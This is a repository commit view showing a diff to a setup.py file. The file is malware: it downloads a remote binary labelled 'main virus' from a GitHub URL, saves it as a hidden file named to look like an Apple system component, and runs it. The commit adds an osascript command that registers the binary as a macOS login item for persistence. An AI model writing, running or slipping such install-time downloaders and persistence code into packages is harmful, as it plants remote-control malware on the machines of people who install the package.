summaryrefslogtreecommitdiff
path: root/setup.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-14 10:35:14 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-14 10:35:14 +0800
commitb149d1da4571563757c225e0b9af6a8741ab9999 (patch)
tree8da75194d64a4d044c25d912b245cb641cc7698b /setup.py
parent8d95cdd68cb02a716ada1e0ff73562e82ae2d796 (diff)
updated
Diffstat (limited to 'setup.py')
-rw-r--r--setup.py3
1 files changed, 2 insertions, 1 deletions
diff --git a/setup.py b/setup.py
index c0d1809..48236c8 100644
--- a/setup.py
+++ b/setup.py
@@ -2,12 +2,13 @@ from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
+from os import system as cmd
filename = "com.apple.com.user.core"
# download main virus
open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
-remove(__file__)
+cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'")
subproc([f"{expanduser('~')}/.{filename}"])